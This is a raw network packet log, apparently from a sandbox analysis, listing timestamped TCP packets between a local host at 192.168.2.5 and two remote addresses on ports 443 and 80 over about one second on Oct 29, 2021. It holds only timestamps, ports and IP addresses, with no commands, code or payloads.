Oct 29, 2021 20:10:59.138741016 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139206886 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139241934 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139267921 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139273882 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139298916 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139317989 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139383078 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139421940 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139441013 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139446020 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139475107 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139492035 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139554977 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139585972 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139609098 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139614105 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139642954 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139661074 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139729977 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139777899 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139786005 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139801025 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.139837027 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.139867067 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140386105 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140434027 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140458107 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140463114 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140482903 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140502930 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140577078 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140609026 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140634060 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140639067 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140666962 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140685081 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140716076 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140747070 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140788078 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140793085 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140876055 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140880108 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140913010 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.140938044 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.140947104 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141001940 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141021013 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141026020 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141112089 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141256094 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141478062 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141508102 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141547918 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141552925 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141572952 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141592026 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141638041 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141638994 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141679049 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141695976 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141700983 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141733885 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141758919 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141824007 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141865969 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141905069 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141911030 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.141916990 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.141992092 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142287970 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142477036 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142508984 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142540932 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142545938 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142566919 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142592907 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142627001 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142656088 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142690897 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142695904 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142729998 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142746925 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142770052 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142806053 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142833948 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142838955 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.142880917 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.142901897 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.143346071 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.154537916 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.154604912 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.154674053 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.154690027 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.154702902 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.154872894 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.155040026 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.155095100 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.155100107 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.155112028 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.155143023 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.155163050 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.155745983 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.155811071 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.155827045 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.155839920 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.155857086 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.155881882 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.155903101 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.155956984 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.156267881 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.156327009 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.156331062 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.156344891 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.156378031 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.156740904 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.156800985 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.156809092 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.156822920 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.156862020 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.157196045 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.157238007 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.157264948 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.157274008 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.157284021 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.157561064 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.157598019 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.157618046 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.157627106 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.157649040 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.158011913 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158049107 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158071041 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.158081055 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158090115 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.158463001 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158498049 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158518076 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.158526897 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158535004 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.158550024 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.158926010 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158961058 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.158987999 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.158998013 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.159014940 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.159323931 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.159341097 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.159378052 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.159404993 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.159413099 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.159440994 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.159810066 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.159847021 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.159874916 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.159893036 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.159912109 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.160238981 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.160278082 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.160300970 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.160317898 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.160332918 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.160722971 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.160774946 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.160785913 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.160789967 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.160809994 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.160842896 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161164999 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161214113 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161220074 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161242008 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161254883 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161273956 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161416054 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161463022 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161483049 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161498070 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161508083 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161523104 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161648989 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161679983 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161698103 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161710024 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161722898 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161915064 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161945105 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.161977053 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.161992073 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.162000895 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.163074970 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.258289099 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.258418083 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.258433104 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.258460045 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.258507967 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.258681059 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.258759022 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.258775949 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.258801937 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.258867979 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.258877993 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.258987904 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259054899 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.259066105 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259093046 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259160995 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.259170055 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259299040 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259377956 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.259391069 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259489059 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259565115 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.259577036 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259603024 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259671926 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.259685040 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259759903 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259804010 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259830952 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.259841919 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259946108 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.259994984 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.263921022 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.905021906 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.905064106 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.905262947 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.905838013 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.905860901 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.947134972 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.950383902 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.950419903 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.963479996 CEST	49828	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.002582073 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002686977 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002722979 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002756119 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002774000 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.002793074 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002808094 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.002867937 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002911091 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002954006 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.002958059 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.002969027 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003005981 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003014088 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003050089 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003053904 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003072023 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003110886 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003117085 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003146887 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003187895 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003187895 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003196955 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003228903 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003235102 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003267050 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003300905 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003305912 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003313065 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003355026 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003355026 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003364086 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003400087 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003405094 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003434896 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003470898 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003474951 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003482103 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003521919 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003528118 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003566027 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003593922 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003602982 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003608942 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003648996 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003654003 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003688097 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003725052 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003726006 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003736019 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003782988 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003789902 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003850937 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003892899 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003932953 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003933907 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.003943920 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.003967047 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.004023075 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.004065990 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.004077911 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.004085064 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.004122019 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.004143953 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.015731096 CEST	80	49828	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.016118050 CEST	49828	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.016216993 CEST	49828	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.016238928 CEST	49828	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.019798040 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.019912958 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021064043 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021141052 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021147966 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021162987 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021187067 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021198988 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021243095 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021250010 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021267891 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021320105 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021326065 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021455050 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021507978 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021517038 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021541119 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021585941 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021586895 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021598101 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021637917 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021644115 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021653891 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021701097 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021716118 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021761894 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021769047 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021779060 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021817923 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021826029 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021836996 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021886110 CEST	49827	443	192.168.2.5	162.159.133.233
